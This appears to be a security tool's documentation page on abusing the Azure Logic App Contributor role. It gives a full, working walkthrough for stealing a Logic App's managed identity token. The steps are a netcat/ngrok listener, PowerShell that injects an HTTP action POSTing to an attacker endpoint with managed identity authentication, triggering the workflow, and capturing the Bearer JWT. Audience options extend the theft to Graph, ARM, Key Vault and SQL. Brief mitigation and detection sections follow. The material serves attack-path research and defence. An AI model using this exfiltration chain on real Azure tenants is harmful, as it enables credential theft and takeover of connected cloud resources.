Skip to content

AZ_LOGIC_APP_CONTRIBUTOR

Copy page

Summary

Attribute Value
Forestall ACL Alias AZ_LOGIC_APP_CONTRIBUTOR
Azure Alias Logic App Contributor / Logic Apps Standard Contributor (Azure RBAC)
Affected Object Types Logic Apps (Consumption and Standard; exploitation walkthrough covers Consumption workflows)
Exploitation Certainty Certain
Azure RBAC Roles Logic App Contributor (87a39d53-fc1b-424a-814c-f7e04687dc9e), Logic Apps Standard Contributor (ad710c24-b039-4e85-a019-deb4a06e8570)

Custom Role Actions:

  • Microsoft.Logic/workflows/*
  • Microsoft.Web/sites/* (for Standard Logic Apps)

Description

AZ_LOGIC_APP_CONTRIBUTOR represents roles that grant full control over Azure Logic Apps. This enables:

  • Create/modify workflows - inject malicious actions into Logic App workflows.
  • Trigger workflow runs - execute modified workflows.
  • Access workflow outputs - read data processed by the Logic App.
  • Abuse managed identity - execute actions under the Logic App’s identity.

Logic Apps often have:

  • Managed identities with permissions to other Azure resources.
  • Connections to external services (Office 365, Salesforce, databases).
  • Access to sensitive data flowing through integrations.

The attack pattern involves modifying a workflow to add actions that:

  1. Steal the managed identity token.
  2. Exfiltrate data to attacker-controlled endpoints.
  3. Execute unauthorized operations in connected services.
Logic App Type Key Abuse Vector
Consumption Modify workflow JSON, trigger runs
Standard Control App Service-backed Logic App resources and app settings; see AZ_EXECUTE_COMMAND Web App Execute Command and AZ_WEBSITE_CONTRIBUTOR for related abuse paths

Identification

PowerShell (Az Module)

Connect-AzAccount
# List Logic App Contributor assignments
Get-AzRoleAssignment -RoleDefinitionName "Logic App Contributor" |
Select-Object DisplayName, SignInName, ObjectType, Scope |
Format-Table -AutoSize
# List Logic Apps Standard Contributor assignments
Get-AzRoleAssignment -RoleDefinitionName "Logic Apps Standard Contributor" |
Select-Object DisplayName, SignInName, ObjectType, Scope |
Format-Table -AutoSize
# List all Logic Apps (Consumption)
Get-AzLogicApp | Select-Object Name, ResourceGroupName, State
# List all Logic Apps (Standard)
Get-AzResource -ResourceType "Microsoft.Web/sites" |
Where-Object { $_.Kind -like "*workflowapp*" } |
Select-Object Name, ResourceGroupName, Location
# Check a Consumption Logic App's managed identity
$la = Get-AzLogicApp -ResourceGroupName "<RGName>" -Name "<LogicAppName>"
$la.Identity
# Check a Standard Logic App's managed identity
$standardLa = Get-AzWebApp -ResourceGroupName "<RGName>" -Name "<LogicAppStandardName>"
$standardLa.Identity

Exploitation

Method 1: Steal Managed Identity JWT via HTTP POST (SpecterOps Technique)

This Consumption Logic App technique injects an HTTP action that POSTs to an attacker-controlled server with managed identity authentication enabled. When the workflow runs, Azure retrieves a JWT for the managed identity and includes it in the Authorization header of the request to your server. Standard Logic Apps are App Service-backed and require a separate App Service deployment or workflow modification path; see AZ_EXECUTE_COMMAND Web App Execute Command and AZ_WEBSITE_CONTRIBUTOR for related Web App abuse techniques.

Reference: SpecterOps - Managed Identity Attack Paths, Part 2: Logic Apps

Step 1: Start a listener on your attacker server

Option A: Direct server with public IP

# On attacker server (e.g., 159.223.206.196)
nc -lvnp 8000

Option B: Using ngrok (no public IP needed)

# Terminal 1: Start ngrok tunnel
ngrok tcp 8000
# Note the forwarding address, e.g.: tcp://7.tcp.eu.ngrok.io:11798
# Terminal 2: Start local listener
nc -lvnp 8000

Option C: Using webhook.site (no setup needed)

Go to https://webhook.site and copy your unique URL.

Step 2: Inject the token-stealing action and HTTP trigger

The Az module returns the Definition as a Newtonsoft JObject, so we must use JObject methods. This adds both an HTTP Request trigger (to invoke the workflow) and the malicious action:

Connect-AzAccount
$la = Get-AzLogicApp -ResourceGroupName "<RGName>" -Name "<LogicAppName>"
$definition = $la.Definition
# Create HTTP Request trigger - allows invoking the workflow via HTTP POST
$triggerJson = @'
{
"type": "Request",
"kind": "Http",
"inputs": {
"schema": {}
}
}
'@
# Create the malicious action - POSTs to attacker server WITH managed identity auth
# The JWT token will be sent in the Authorization header
# Replace the URI with your listener (ngrok, webhook.site, or direct IP)
$stealTokenJson = @'
{
"type": "Http",
"inputs": {
"method": "POST",
"uri": "http://<ATTACKER_ENDPOINT>/steal",
"body": "token_exfil",
"authentication": {
"type": "ManagedServiceIdentity",
"audience": "https://graph.microsoft.com/"
}
},
"runAfter": {}
}
'@
$trigger = [Newtonsoft.Json.Linq.JObject]::Parse($triggerJson)
$stealAction = [Newtonsoft.Json.Linq.JObject]::Parse($stealTokenJson)
# Add HTTP Request trigger (named "manual")
if ($null -eq $definition["triggers"]) {
$definition["triggers"] = [Newtonsoft.Json.Linq.JObject]::new()
}
$definition["triggers"]["manual"] = $trigger
# Add the malicious action
if ($null -eq $definition["actions"]) {
$definition["actions"] = [Newtonsoft.Json.Linq.JObject]::new()
}
$definition["actions"]["Steal_MI_Token"] = $stealAction
# Update the Logic App
Set-AzLogicApp -ResourceGroupName "<RGName>" -Name "<LogicAppName>" -Definition $definition -State Enabled -Force
Inject the token-stealing action and HTTP trigger

Inject the token-stealing action and HTTP trigger

Example URIs:

  • Direct IP: http://159.223.206.196:8000/steal
  • Ngrok: http://7.tcp.eu.ngrok.io:11798/steal
  • Webhook.site: https://webhook.site/abc12345-...

Step 3: Trigger the workflow

The HTTP Request trigger creates a callback URL with a SAS token. Use it to invoke the workflow:

$la = Get-AzLogicApp -ResourceGroupName "<RGName>" -Name "<LogicAppName>"
# Get the callback URL (includes SAS token for authentication)
$callbackUrl = Get-AzLogicAppTriggerCallbackUrl -ResourceGroupName "<RGName>" -Name "<LogicAppName>" -TriggerName "manual"
# Display the URL
$callbackUrl.Value
# Trigger the workflow - this executes all actions including our malicious one
Invoke-RestMethod -Uri $callbackUrl.Value -Method POST -ContentType "application/json" -Body "{}"
Trigger the workflow

Trigger the workflow

Step 4: Capture the token

On your listener, you’ll receive the HTTP POST with the JWT in the Authorization header:

POST /steal HTTP/1.1
Host: 7.tcp.eu.ngrok.io:11798
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6Ik...
Content-Type: application/json
...
Capture the token

Capture the token

Copy the token after Bearer .

Token Audience Options:

Audience Use Case
https://graph.microsoft.com/ MS Graph API (users, groups, apps)
https://management.azure.com/ Azure Resource Manager
https://vault.azure.net/ Key Vault secrets
https://database.windows.net/ Azure SQL

The audience value in the injected HTTP action determines the token audience. Edit the audience field and re-run the workflow to capture a token for a different resource.

Mitigation

  1. Minimize Logic App Contributor assignments

    • Use Logic App Operator for running workflows without modification rights.
    • Scope assignments to specific Logic Apps.
  2. Apply least privilege to managed identities

    • Logic App managed identities should have minimal required permissions.
  3. Secure API connections

    • Regularly review and rotate API connection credentials.
    • Use managed identities for Azure connections where possible.
  4. Enable diagnostic logging

    • Send workflow runs and trigger history to Log Analytics.
  5. Network isolation

    • Use Integration Service Environments (ISE) or VNet integration for sensitive Logic Apps.

Detection

Use the Azure Portal:

  1. Open Azure Portal -> Logic Apps -> Select the target Logic App.
  2. Click Logic app designer or Code view to review workflow actions.
  3. Look for suspicious HTTP actions, especially those with:
    • External URLs (non-Azure endpoints)
    • authentication blocks using ManagedServiceIdentity
  4. Check Overview -> Runs history for unexpected workflow executions.
  5. Review Activity log for Set Workflow operations indicating workflow modifications.

References

Was this page helpful?

Thank you for your feedback.